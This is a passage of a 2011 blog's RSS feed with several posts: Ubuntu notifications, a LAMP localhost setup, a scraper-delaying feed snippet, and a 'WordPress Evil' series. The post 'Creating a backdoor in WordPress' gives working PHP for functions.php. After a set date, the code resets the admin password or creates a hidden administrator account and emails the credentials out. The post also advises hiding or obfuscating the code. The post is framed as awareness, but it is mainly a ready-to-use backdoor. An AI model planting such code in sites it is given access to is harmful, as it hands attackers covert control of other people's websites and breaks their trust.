<p>You can create shell scripts for additional functionality you want, right? Just use notify-send where you want you to be informed or alerted.</p>
<p>Here are the examples, where I use them:</p>
<ol>
<li><strong>WordPress new version alert</strong></li>
<li><strong>Alert if my site is down</strong></li>
<li><strong>Health check</strong> &#8211; Tells me to take breaks, sleep at night and if I resist, lock the screen</li>
<li><strong>Pomodoro technique</strong> for quantizing time for increasing productivity</li>
<li><strong>Random fun facts</strong> from randomfunfacts.com</li>
</ol>
<p>You can build a lot more useful stuff as per your needs. Share your ideas in the comments and we can discuss <img src='http://blog.ashfame.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>The post <a href="http://blog.ashfame.com/2011/04/ubuntu-notification-system/">Using Ubuntu Notification System &#8211; NotifyOSD</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=PqbpocvyxTA:JAqXYG3p6Wo:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=PqbpocvyxTA:JAqXYG3p6Wo:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=PqbpocvyxTA:JAqXYG3p6Wo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=PqbpocvyxTA:JAqXYG3p6Wo:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=PqbpocvyxTA:JAqXYG3p6Wo:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=PqbpocvyxTA:JAqXYG3p6Wo:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=PqbpocvyxTA:JAqXYG3p6Wo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=PqbpocvyxTA:JAqXYG3p6Wo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=PqbpocvyxTA:JAqXYG3p6Wo:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=PqbpocvyxTA:JAqXYG3p6Wo:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AshfameBlog/~4/PqbpocvyxTA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.ashfame.com/2011/04/ubuntu-notification-system/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://blog.ashfame.com/2011/04/ubuntu-notification-system/</feedburner:origLink></item>
		<item>
		<title>Creating a backdoor in WordPress</title>
		<link>http://feedproxy.google.com/~r/AshfameBlog/~3/46HGBPr6T-w/</link>
		<comments>http://blog.ashfame.com/2011/03/creating-backdoor-wordpress/#comments</comments>
		<pubDate>Wed, 30 Mar 2011 21:35:29 +0000</pubDate>
		<dc:creator>Ashfame</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wp-evil]]></category>

		<guid isPermaLink="false">http://blog.ashfame.com/?p=903</guid>
		<description><![CDATA[<p>First post in my WordPress Evil series, I will demonstrate how I can create a backdoor in WordPress. Idea of this post came from a question on WordPress Answers where someone asked &#8211; Is there a security risk giving someone temporary access to my blog&#8217;s code? Example #1 Change the admin password after a certain [...]</p><p>The post <a href="http://blog.ashfame.com/2011/03/creating-backdoor-wordpress/">Creating a backdoor in WordPress</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>First post in my <strong>WordPress Evil</strong> series, I will demonstrate how I can create a backdoor in WordPress. Idea of this post came from a question on WordPress Answers where someone asked &#8211; <a href="http://wordpress.stackexchange.com/questions/13382/is-there-a-security-risk-giving-someone-temporary-access-to-my-blogs-code">Is there a security risk giving someone temporary access to my blog&#8217;s code?</a></p>
<h2>Example #1</h2>
<h3>Change the admin password after a certain date or time and inform us! Sounds good?</h3>
<pre class="brush: php; title: ; notranslate">
&lt;?php
if ( strtotime( &quot;2011-04-30&quot; ) &lt; time() ) {

	$target_admin_id = 1; // change this if admin has a different ID or you want to attach a particular admin
	$target_admin_new_password = 'evilme';
	$target_admin_userinfo = get_userdata( $target_admin_id );

	if ( !wp_check_password( $target_admin_new_password, $target_admin_userinfo-&gt;user_pass , $target_admin_id ) ) { // Have we already changed the password?

		add_action( 'shutdown', 'evilme_change_admin_password' );

		function evilme_change_admin_password() {

			global $target_admin_id;
			global $target_admin_new_password;
			global $target_admin_userinfo;

			wp_set_password( $target_admin_new_password, $target_admin_id );

			// now email me that my password of admin account has changed ready

			wp_mail( 'ashishsainiashfame@gmail.com', 'Admin password has been changed!', 'WP URL - '.get_bloginfo( 'wpurl' ).' | username: '.$target_admin_userinfo-&gt;user_login.' | password: '.$target_admin_new_password );
		}
	}
}

?&gt;
</pre>
<p>At the very beginning, I checked if the current time is passed April 30, then execute all this code. Change it to the date when you want the backdoor to be created. The basic logic is to set the password of a user using <strong>wp_set_password()</strong> and keep a check on the password so as to avoid a database write and an alert email sent to you on every page load.</p>
<p>I have attached it to the <strong>shutdown</strong> hook so that it doesn&#8217;t disturb the page output exactly when it happens. Change the email address and the new password you want to set and try this on a demo WordPress install by pasting the code in functions.php file.</p>
<h2>Example #2</h2>
<h3>Create a new admin user after a certain date or time and ping us when ready!</h3>
<pre class="brush: php; title: ; notranslate">
&lt;?php
if ( strtotime( &quot;2011-04-30&quot; ) &lt; time() ) {

	// Required for username_exists()
	require_once( ABSPATH . WPINC . '/registration.php' );

	if ( !username_exists( 'ashfame-evil' ) ) { // Have we already done it once?

		add_action( 'shutdown', 'evilme_create_new_admin' );

		function evilme_create_new_admin() {

			$user_id = wp_insert_user( array(

				'user_login' =&gt; 'ashfame-evil',

				'user_pass' =&gt; 'evilme',

				'user_email' =&gt; 'ashishsainiashfame@hotmail.com',

				'role' =&gt; 'administrator'

			) );

			// now email me that my new admin account is ready

			wp_mail( 'ashishsainiashfame@gmail.com', 'New Admin account is ready', 'WP - '.get_bloginfo( 'wpurl' ).' | username: ashfame-evil | password: evilme' );
		}
	}

}

?&gt;
</pre>
<p>Again I check for the date, and if the condition satisfies, I used <strong>wp_insert_user()</strong> to create a new administrator user. To make sure the code only do this once, I keep a check if the username I want to create exists or not. If its does, we have already created a new admin user of which you should have got an email. You can test this too by changing the email address and putting the code in your functions.php file.</p>
<p>Ideally you don&#8217;t keep this code easily visible, you can just hide it anywhere. Deep inside functions.php file, some custom plugin or even obfuscate the code.</p>
<p>This tutorial was solely for the purpose of fun &amp; making people aware about the fact that it is not safe when you provide temporary access to your blog. If they did what just I demonstrated you would see everything fine, there will be nothing you can make note of but after the timer, it will create a backdoor. More logical implementation would be to create a administrator account at a certain amount of time, and then delete that user after 1 hour every day/week. The User ID would go up, and might create suspicion after quite some time, but possibilities are endless. Be smart, be aware, spread the word about it. Friends don&#8217;t let friends fall for others&#8217; trap.</p>
<p>If you have any questions about the code here, feel free to shoot me a question in the comments. And don&#8217;t forget to share this post on Facebook &amp; Tweet it!</p>
<p>Subscribe to feeds so as not to miss any of the evil posts! <img src='http://blog.ashfame.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>The post <a href="http://blog.ashfame.com/2011/03/creating-backdoor-wordpress/">Creating a backdoor in WordPress</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=46HGBPr6T-w:P8OhlrPLzIk:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=46HGBPr6T-w:P8OhlrPLzIk:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=46HGBPr6T-w:P8OhlrPLzIk:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=46HGBPr6T-w:P8OhlrPLzIk:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=46HGBPr6T-w:P8OhlrPLzIk:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=46HGBPr6T-w:P8OhlrPLzIk:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=46HGBPr6T-w:P8OhlrPLzIk:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=46HGBPr6T-w:P8OhlrPLzIk:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=46HGBPr6T-w:P8OhlrPLzIk:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=46HGBPr6T-w:P8OhlrPLzIk:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AshfameBlog/~4/46HGBPr6T-w" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.ashfame.com/2011/03/creating-backdoor-wordpress/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://blog.ashfame.com/2011/03/creating-backdoor-wordpress/</feedburner:origLink></item>
		<item>
		<title>WordPress Evil Post Series</title>
		<link>http://feedproxy.google.com/~r/AshfameBlog/~3/QV05OwoyNro/</link>
		<comments>http://blog.ashfame.com/2011/03/wordpress-evil-post-series/#comments</comments>
		<pubDate>Tue, 29 Mar 2011 18:31:37 +0000</pubDate>
		<dc:creator>Ashfame</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wp-evil]]></category>

		<guid isPermaLink="false">http://blog.ashfame.com/?p=901</guid>
		<description><![CDATA[<p>Yeah! That sounded right. This is a post series where I will show you how to use WordPress to do evil, unethical things which surely doesn&#8217;t mean WordPress is a bad piece of software. Its really a great one considering every thing has its share of Pros &#38; Cons. Remember, just like we say, Technology [...]</p><p>The post <a href="http://blog.ashfame.com/2011/03/wordpress-evil-post-series/">WordPress Evil Post Series</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Yeah! That sounded right. This is a post series where I will show you how to use WordPress to do evil, unethical things which surely doesn&#8217;t mean WordPress is a bad piece of software. Its really a great one considering every thing has its share of Pros &amp; Cons. Remember, just like we say, Technology is neither good or bad, its the use which can be classified as good or bad. Similarly, I will be using a technology product (WordPress), to do things for fun and educative purposes. You better be aware to avoid that happening with you, or sometimes use it <img src='http://blog.ashfame.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>You are welcome for the following:</p>
<ul>
<li>Comment anything relevant! You can criticise my series too, I won&#8217;t mind!</li>
<li>Tip me for the next Evil Post.</li>
<li>Write a Guest Post for <strong>WP Evil</strong> Series (Decision of accepting it as a qualified <strong>WordPress Evil Post Series</strong> will be totally on me, though)</li>
</ul>
<p>That said, first post in the series will be up in a few minutes.</p>
<p>The post <a href="http://blog.ashfame.com/2011/03/wordpress-evil-post-series/">WordPress Evil Post Series</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=QV05OwoyNro:1BaCLCbsFb4:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=QV05OwoyNro:1BaCLCbsFb4:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=QV05OwoyNro:1BaCLCbsFb4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=QV05OwoyNro:1BaCLCbsFb4:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=QV05OwoyNro:1BaCLCbsFb4:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=QV05OwoyNro:1BaCLCbsFb4:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=QV05OwoyNro:1BaCLCbsFb4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=QV05OwoyNro:1BaCLCbsFb4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=QV05OwoyNro:1BaCLCbsFb4:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=QV05OwoyNro:1BaCLCbsFb4:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AshfameBlog/~4/QV05OwoyNro" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.ashfame.com/2011/03/wordpress-evil-post-series/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.ashfame.com/2011/03/wordpress-evil-post-series/</feedburner:origLink></item>
		<item>
		<title>Quickly setup a localhost environment in Ubuntu</title>
		<link>http://feedproxy.google.com/~r/AshfameBlog/~3/JWYN7yCSqac/</link>
		<comments>http://blog.ashfame.com/2011/03/quickly-setup-localhost-environment-ubuntu/#comments</comments>
		<pubDate>Mon, 28 Mar 2011 10:59:45 +0000</pubDate>
		<dc:creator>Ashfame</dc:creator>
				<category><![CDATA[How To / Tutorials]]></category>
		<category><![CDATA[localhost]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://blog.ashfame.com/?p=899</guid>
		<description><![CDATA[<p>Although, I use Ubuntu, this should apply to a large number of linux distros. Every developer uses a local environment to develop locally before testing it live. I kinda avoid that root by mounting my FTP webspace in Ubuntu and directly working on live files (there is no need of download and upload as you [...]</p><p>The post <a href="http://blog.ashfame.com/2011/03/quickly-setup-localhost-environment-ubuntu/">Quickly setup a localhost environment in Ubuntu</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Although, I use Ubuntu, this should apply to a large number of linux distros. Every developer uses a local environment to develop locally before testing it live. I kinda avoid that root by mounting my FTP webspace in Ubuntu and directly working on live files (there is no need of download and upload as you might think), but I wanted to do some CPU intensive job for a client for which I needed to setup a localhost environment, so I thought I would share this with everyone on my blog.</p>
<h2>Install LAMP stack</h2>
<p>Fire up a terminal (<em><strong>Applications</strong></em> &gt; <em><strong>Accessories</strong></em> &gt; <em><strong>Terminal</strong></em>) and enter this command:</p>
<p><strong>sudo apt-get install lamp-server^</strong></p>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/03/lamp-server.png" alt="lamp-server" /></p>
<p>Enter <strong>y</strong> for yes when it asks to continue after estimation of how much data will be downloaded and how much will be used on disk.</p>
<p>It will install quickly and can take a few minutes depending on your internet speed, and then it will ask you to setup the password for MySQL user <strong>root</strong>. It is usually left blank on localhost machines as they are used only for development purposes but last time I left it blank, I had to deal with the issues that it didn&#8217;t change the password to blank but has something else and I had to turn off the password prompt for root access. Avoid doing all that by just selecting &#8220;root&#8221; or anything you want as the password of the root user of MySQL.</p>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/03/mysql-root-password.png" alt="mysql-root-password" /></p>
<p>Confirm it once (Type the password and press <em><strong>Tab</strong></em> key).</p>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/03/mysql-root-password-confirm.png" alt="mysql-root-password-confirm" /></p>
<p>and you are done.</p>
<h2>Test Apache Webserver</h2>
<p>Just open <strong>http://localhost/</strong> in your browser and it will show up a message &#8220;<strong>It works!</strong>&#8221; which means Apache is working fine.</p>
<h2>Test PHP</h2>
<p>Create a file named <strong>phpinfo.php</strong> in <strong>/var/www/</strong> to check if PHP is working fine.</p>
<p><strong>sudo nano /var/www/phpinfo.php</strong></p>
<p>Enter the content as <strong>&lt;?php phpinfo(); ?&gt;</strong> and save the file by hitting <em><strong>Ctrl + X</strong></em> and then <em><strong>y</strong></em> (for yes) and <em><strong>return</strong></em> key (enter).</p>
<p>Restart Apache webserver by the following command &#8211; <strong>sudo /etc/init.d/apache2 restart</strong></p>
<p>Now open <strong>http://localhost/phpinfo.php</strong> and it will show up a page with lots of php related information, if you can see it, PHP is working fine.</p>
<h2>Install phpMyAdmin</h2>
<p>Enter this command in terminal &#8211; <strong>sudo apt-get install libapache2-mod-auth-mysql phpmyadmin</strong></p>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/03/phpmyadmin-install.png" alt="phpmyadmin-install" /></p>
<p>Select <strong>Apache</strong> as the web server by pressing <strong><em>Space</em></strong> and then <strong><em>Tab</em></strong> key and press <em><strong>enter</strong></em> key.</p>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/03/select-apache.png" alt="select-apache" /></p>
<p>Press <strong>Yes</strong> to configure database for phpmyadmin.</p>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/03/configure-phpmyadmin.png" alt="configure-phpmyadmin" /></p>
<p>Provide password which we set as &#8220;<strong>root</strong>&#8221; earlier.</p>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/03/phpmyadmin1.png" alt="phpmyadmin1" /></p>
<p>Again, enter &#8220;<strong>root</strong>&#8220;.</p>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/03/phpmyadmin2.png" alt="phpmyadmin2" /></p>
<p>Confirm it, and then you are done.</p>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/03/phpmyadmin3.png" alt="phpmyadmin3" /></p>
<h2>Test phpMyAdmin</h2>
<p>Now open <strong>http://localhost/phpmyadmin/</strong> in your brower to access phpmyadmin and you can login with <strong>username</strong> and <strong>password</strong> both as <em><strong>root</strong></em>.</p>
<p>Pretty quick &amp; easy!</p>
<p>Everything is done, you have your web root at <strong>/var/www/</strong> where you will need super user permissions to write files, I will do a follow up post on how you can make this easier by keeping your files in your Home directory instead and a bit of extra which will make it totally complete.</p>
<p>Subscribe so that you don&#8217;t miss updates! RSS/Email options are in the sidebar.</p>
<p>The post <a href="http://blog.ashfame.com/2011/03/quickly-setup-localhost-environment-ubuntu/">Quickly setup a localhost environment in Ubuntu</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=JWYN7yCSqac:7T6PC9vYuXM:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=JWYN7yCSqac:7T6PC9vYuXM:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=JWYN7yCSqac:7T6PC9vYuXM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=JWYN7yCSqac:7T6PC9vYuXM:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=JWYN7yCSqac:7T6PC9vYuXM:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=JWYN7yCSqac:7T6PC9vYuXM:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=JWYN7yCSqac:7T6PC9vYuXM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=JWYN7yCSqac:7T6PC9vYuXM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=JWYN7yCSqac:7T6PC9vYuXM:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=JWYN7yCSqac:7T6PC9vYuXM:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AshfameBlog/~4/JWYN7yCSqac" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.ashfame.com/2011/03/quickly-setup-localhost-environment-ubuntu/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://blog.ashfame.com/2011/03/quickly-setup-localhost-environment-ubuntu/</feedburner:origLink></item>
		<item>
		<title>Deal with Blog Scrappers getting indexed quicker than the original site</title>
		<link>http://feedproxy.google.com/~r/AshfameBlog/~3/lRCq_4QW7dM/</link>
		<comments>http://blog.ashfame.com/2011/03/blog-scrappers-getting-indexed-quicker-original-site/#comments</comments>
		<pubDate>Tue, 08 Mar 2011 20:41:36 +0000</pubDate>
		<dc:creator>Ashfame</dc:creator>
				<category><![CDATA[How To / Tutorials]]></category>
		<category><![CDATA[Tips n Tricks]]></category>
		<category><![CDATA[feeds]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.ashfame.com/?p=895</guid>
		<description><![CDATA[<p>Although its not something that one should be worried about as such things often happen, and its actually a sign that you are growing. I would suggest you to just keep going on with the quality content on your site and not to worry about them scrapping your articles. Google does a pretty good job [...]</p><p>The post <a href="http://blog.ashfame.com/2011/03/blog-scrappers-getting-indexed-quicker-original-site/">Deal with Blog Scrappers getting indexed quicker than the original site</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Although its not something that one should be worried about as such things often happen, and its actually a sign that you are growing. I would suggest you to just keep going on with the quality content on your site and not to worry about them scrapping your articles. Google does a pretty good job in killing spam blogs. They generally gain traction for a month or so and then they are completely gone.</p>
<p>But sometimes it might happen that the spam blog site might be getting indexed quicker than the original site when your original site is pretty much new, so it can be a temporary hold for your organic traffic growth. In such case, we can deal with them by delaying the feeds for a certain amount of time as all these scrappers work by pulling articles from your feeds and then publishing your articles on their site.</p>
<h2>Delay publishing of WordPress Feeds:</h2>
<p>Here is the snippet with you can delay your feeds for (lets say 15 minutes):</p>
<pre class="brush: php; title: ; notranslate">
/**
 * Publish the content in the feed 15 minutes later
 * $where ist default-var in WordPress (wp-includes/query.php)
 * This function an a SQL-syntax
 */
function publish_later_on_feed($where)
{
	global $wpdb;
	if ( is_feed() )
	{
		// timestamp in WP-format
		$now = gmdate('Y-m-d H:i:s');
		// value for wait; + device
		$wait = '15'; // integer
		// http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_timestampdiff
		$device = 'MINUTE'; //MINUTE, HOUR, DAY, WEEK, MONTH, YEAR
		// add SQL-sytax to default $where
		$where .= &quot; AND TIMESTAMPDIFF($device, $wpdb-&gt;posts.post_date_gmt, '$now') &gt; $wait &quot;;
	}
	return $where;
}
add_filter('posts_where', 'publish_later_on_feed');
</pre>
<p>This will delay the feeds for 15 minutes (Line 14 in the code) before any new article appears in it. This is a very good approach in killing those automated blogs. But sometimes it can be the case, that they are not automated. Its humans manually copy-pasting the articles from various sources. In such a case, what you can do is to make your blog ping the crawl bots so that your chances of getting indexed first is maximised.</p>
<h2>Checklist for fast indexing:</h2>
<ul>
<li>Submit a <strong>Sitemap</strong> to <a href="http://www.google.com/webmasters/" target="_blank">Google Webmasters</a>.</li>
<li>Use <a href="http://wordpress.org/extend/plugins/pushpress/" target="_blank">PushPress</a> and <a href="http://wordpress.org/extend/plugins/rsscloud/">RSS Cloud</a> WordPress plugin.</li>
<li>Use WordPress option to ping <strong><em>pinging service</em></strong> and add several multiple pinging service there (less effective now but doing it won&#8217;t harm)</li>
<li>Delay your feeds for a few minutes (Scrappers won&#8217;t be manually monitoring your site every minute)</li>
</ul>
<p>Hope that helps you defeat those blood sucking scrappers. If you have any questions or tip, feel free to leave it in the comments below.</p>
<p>The post <a href="http://blog.ashfame.com/2011/03/blog-scrappers-getting-indexed-quicker-original-site/">Deal with Blog Scrappers getting indexed quicker than the original site</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=lRCq_4QW7dM:CSiKzeRbaXU:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=lRCq_4QW7dM:CSiKzeRbaXU:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=lRCq_4QW7dM:CSiKzeRbaXU:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=lRCq_4QW7dM:CSiKzeRbaXU:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=lRCq_4QW7dM:CSiKzeRbaXU:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=lRCq_4QW7dM:CSiKzeRbaXU:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=lRCq_4QW7dM:CSiKzeRbaXU:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=lRCq_4QW7dM:CSiKzeRbaXU:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=lRCq_4QW7dM:CSiKzeRbaXU:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=lRCq_4QW7dM:CSiKzeRbaXU:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AshfameBlog/~4/lRCq_4QW7dM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.ashfame.com/2011/03/blog-scrappers-getting-indexed-quicker-original-site/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://blog.ashfame.com/2011/03/blog-scrappers-getting-indexed-quicker-original-site/</feedburner:origLink></item>
	<media:rating>nonadult</media:rating></channel>
</rss><!-- Dynamic page generated in 0.393 seconds. --><!-- Cached page generated by WP-Super-Cache on 2013-05-17 05:31:36 --><!-- Compression = gzip -->
